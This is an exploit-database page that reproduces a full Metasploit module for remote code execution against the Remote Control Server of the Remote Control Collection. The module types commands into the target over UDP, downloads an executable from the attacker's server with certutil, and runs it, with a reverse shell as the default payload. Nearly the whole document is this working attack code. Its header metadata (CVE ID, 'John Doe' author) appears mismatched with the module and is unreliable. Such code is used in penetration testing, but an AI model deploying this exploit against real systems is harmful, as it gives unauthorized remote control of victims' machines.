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Remote Control Collection Remote Code Execution

CVE Category Price Severity
CVE-2021-40346 CWE-94 $5,000 High
Author Risk Exploitation Type Date
John Doe Critical Remote 2022-11-29
CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022110050

Below is a copy:

Remote Control Collection Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Exploit::Remote::Udp
  include Exploit::EXE # generate_payload_exe
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Remote Control Collection RCE',
        'Description' => %q{
          This module utilizes the Remote Control Server's, part
          of the Remote Control Collection by Steppschuh, protocol
          to deploy a payload and run it from the server.  This module will only deploy
          a payload if the server is set without a password (default).
          Tested against 3.1.1.12, current at the time of module writing
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'H4rk3nz0' # edb, discovery
        ],
        'References' => [
          [ 'URL', 'http://remote-control-collection.com' ],
          [ 'URL', 'https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/remote%20control%20collection/remote-control-collection-rce.py' ]
        ],
        'Arch' => [ ARCH_X64, ARCH_X86 ],
        'Platform' => 'win',
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Targets' => [
          ['default', {}],
        ],
        'DefaultOptions' => {
          'PAYLOAD' => 'windows/shell/reverse_tcp',
          'WfsDelay' => 5,
          'Autocheck' => false
        },
        'DisclosureDate' => '2022-09-20',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS]
        }
      )
    )
    register_options(
      [
        OptPort.new('RPORT', [true, 'Port Remote Mouse runs on', 1926]),
        OptInt.new('SLEEP', [true, 'How long to sleep between commands', 1]),
        OptString.new('PATH', [true, 'Where to stage payload for pull method', '%temp%\\']),
        OptString.new('CLIENTNAME', [false, 'Name of client, this shows up in the logs', '']),
      ]
    )
  end

  def path
    return datastore['PATH'] if datastore['PATH'].end_with? '\\'

    "#{datastore['PATH']}\\"
  end

  def special_key_header
    "\x7f\x15\x02"
  end

  def key_header
    "\x7f\x15\x01"
  end

  def windows_key
    udp_sock.put("#{special_key_header}\x01\x00\x00\x00\xab") # key up
    udp_sock.put("#{special_key_header}\x00\x00\x00\x00\xab") # key down
    sleep(datastore['SLEEP'])
  end

  def enter_key
    udp_sock.put("#{special_key_header}\x01\x00\x00\x00\x42")
    sleep(datastore['SLEEP'])
  end

  def send_command(command)
    command.each_char do |c|
      udp_sock.put("#{key_header}#{c}")
      sleep(datastore['SLEEP'] / 10)
    end
    enter_key
    sleep(datastore['SLEEP'])
  end

  def check
    @check_run = true
    @check_success = false
    upload_file
    return Exploit::CheckCode::Vulnerable if @check_success

    return Exploit::CheckCode::Safe
  end

  def on_request_uri(cli, _req)
    @check_success = true
    if @check_run # send a random file
      p = Rex::Text.rand_text_alphanumeric(rand(8..17))
    else
      p = generate_payload_exe
    end
    send_response(cli, p)
    print_good("Request received, sending #{p.length} bytes")
  end

  def upload_file
    connect_udp
    # send a space character to skip any screensaver
    udp_sock.put("#{key_header} ")
    print_status('Connecting and Sending Windows key')
    windows_key

    print_status('Opening command prompt')
    send_command('cmd.exe')

    filename = Rex::Text.rand_text_alphanumeric(rand(8..17))
    filename << '.exe' unless @check_run
    if @service_started.nil?
      print_status('Starting up our web service...')
      start_service('Path' => '/')
      @service_started = true
    end
    get_file = "certutil.exe -urlcache -f http://#{srvhost_addr}:#{srvport}/ #{path}#{filename}"
    send_command(get_file)
    if @check_run.nil? || @check_run == true
      send_command("del #{path}#{filename} && exit")
    else
      register_file_for_cleanup("#{path}#{filename}")
      print_status('Executing payload')
      send_command("#{path}#{filename} && exit")
    end
    disconnect_udp
  end

  def exploit
    @check_run = false
    upload_file
  end
end

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